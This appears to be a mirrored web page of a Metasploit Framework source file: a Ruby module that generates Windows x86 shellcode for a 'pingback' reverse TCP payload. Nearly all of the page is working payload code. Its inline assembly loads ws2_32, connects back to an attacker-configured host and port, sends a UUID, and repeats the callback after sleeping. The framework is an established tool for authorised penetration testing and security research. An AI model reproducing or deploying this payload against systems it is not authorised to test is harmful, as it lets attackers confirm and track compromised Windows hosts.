Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/windows/pingback_reverse_tcp.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 307
8
9
include Msf::Payload::Windows
10
include Msf::Payload::Single
11
include Msf::Payload::Pingback
12
include Msf::Payload::Windows::BlockApi
13
include Msf::Payload::Pingback::Options
14
include Msf::Payload::Windows::Exitfunk
15
16
def initialize(info = {})
17
super(
18
merge_info(
19
info,
20
'Name' => 'Windows x86 Pingback, Reverse TCP Inline',
21
'Description' => 'Connect back to attacker and report UUID (Windows x86)',
22
'Author' => [ 'bwatters-r7' ],
23
'License' => MSF_LICENSE,
24
'Platform' => 'win',
25
'Arch' => ARCH_X86,
26
'Handler' => Msf::Handler::ReverseTcp,
27
'Session' => Msf::Sessions::Pingback
28
)
29
)
30
end
31
32
def required_space
33
# Start with our cached default generated size
34
space = cached_size
35
36
# EXITFUNK 'seh' is the worst case, that adds 15 bytes
37
space += 15
38
39
space
40
end
41
42
def generate(_opts = {})
43
encoded_port = [datastore['LPORT'].to_i, 2].pack('vn').unpack1('N')
44
encoded_host = Rex::Socket.addr_aton(datastore['LHOST'] || '127.127.127.127').unpack1('V')
45
retry_count = [datastore['ReverseConnectRetries'].to_i, 1].max
46
pingback_count = datastore['PingbackRetries']
47
pingback_sleep = datastore['PingbackSleep']
48
self.pingback_uuid ||= generate_pingback_uuid
49
uuid_as_db = '0x' + self.pingback_uuid.chars.each_slice(2).map(&:join).join(',0x')
50
conf = { exitfunk: datastore['EXITFUNC'] }
51
52
asm = %^
53
cld ; Clear the direction flag.
54
call start ; Call start, this pushes the address of 'api_call' onto the stack.
55
#{asm_block_api}
56
start:
57
pop ebp
58
; Input: EBP must be the address of 'api_call'.
59
; Output: EDI will be the socket for the connection to the server
60
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
61
reverse_tcp:
62
push '32' ; Push the bytes 'ws2_32',0,0 onto the stack.
63
push 'ws2_' ; ...
64
push esp ; Push a pointer to the "ws2_32" string on the stack.
65
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
66
mov eax, ebp
67
call eax ; LoadLibraryA( "ws2_32" )
68
69
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
70
sub esp, eax ; alloc some space for the WSAData structure
71
push esp ; push a pointer to this struct
72
push eax ; push the wVersionRequested parameter
73
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
74
call ebp ; WSAStartup( 0x0190, &WSAData );
75
76
set_address:
77
push #{pingback_count} ; retry counter
78
push #{retry_count} ; retry counter
79
push #{encoded_host} ; host in little-endian format
80
push #{encoded_port} ; family AF_INET and port number
81
mov esi, esp ; save pointer to sockaddr struct
82
83
create_socket:
84
push eax ; if we succeed, eax will be zero, push zero for the flags param.
85
push eax ; push null for reserved parameter
86
push eax ; we do not specify a WSAPROTOCOL_INFO structure
87
push eax ; we do not specify a protocol
88
inc eax ;
89
push eax ; push SOCK_STREAM
90
inc eax ;
91
push eax ; push AF_INET
92
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
93
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
94
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
95
96
try_connect:
97
push 16 ; length of the sockaddr struct
98
push esi ; pointer to the sockaddr struct
99
push edi ; the socket
100
push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
101
call ebp ; connect( s, &sockaddr, 16 );
102
103
test eax,eax ; non-zero means a failure
104
jz connected
105
106
handle_connect_failure:
107
; decrement our attempt count and try again
108
dec dword [esi+8]
109
jnz try_connect
110
failure:
111
call exitfunk
112
; this label is required so that reconnect attempts include
113
; the UUID stuff if required.
114
connected:
115
send_pingback:
116
push 0 ; flags
117
push #{uuid_as_db.split(',').length} ; length of the PINGBACK UUID
118
call get_pingback_address ; put pingback_uuid buffer on the stack
119
db #{uuid_as_db} ; PINGBACK_UUID
120
get_pingback_address:
121
push edi ; saved socket
122
push #{Rex::Text.block_api_hash('ws2_32.dll', 'send')}
123
call ebp ; call send
124
125
cleanup_socket:
126
; clear up the socket
127
push edi ; socket handle
128
push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
129
call ebp ; closesocket(socket)
130
^
131
if pingback_count > 0
132
asm << %^
133
mov eax, [esi+12]
134
test eax, eax ; pingback counter
135
jz exitfunk
136
dec [esi+12]
137
sleep:
138
push #{pingback_sleep * 1000}
139
push #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
140
call ebp ;sleep(pingback_sleep * 1000)
141
jmp create_socket
142
^
143
end
144
asm << %(
145
; restore the stack back to the connection retry count
146
dec [esi+8] ; decrement the retry counter
147
jmp exitfunk
148
; try again
149
jnz create_socket
150
jmp failure
151
)
152
if conf[:exitfunk]
153
asm << asm_exitfunk(conf)
154
end
155
Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
156
end
157
end
158
159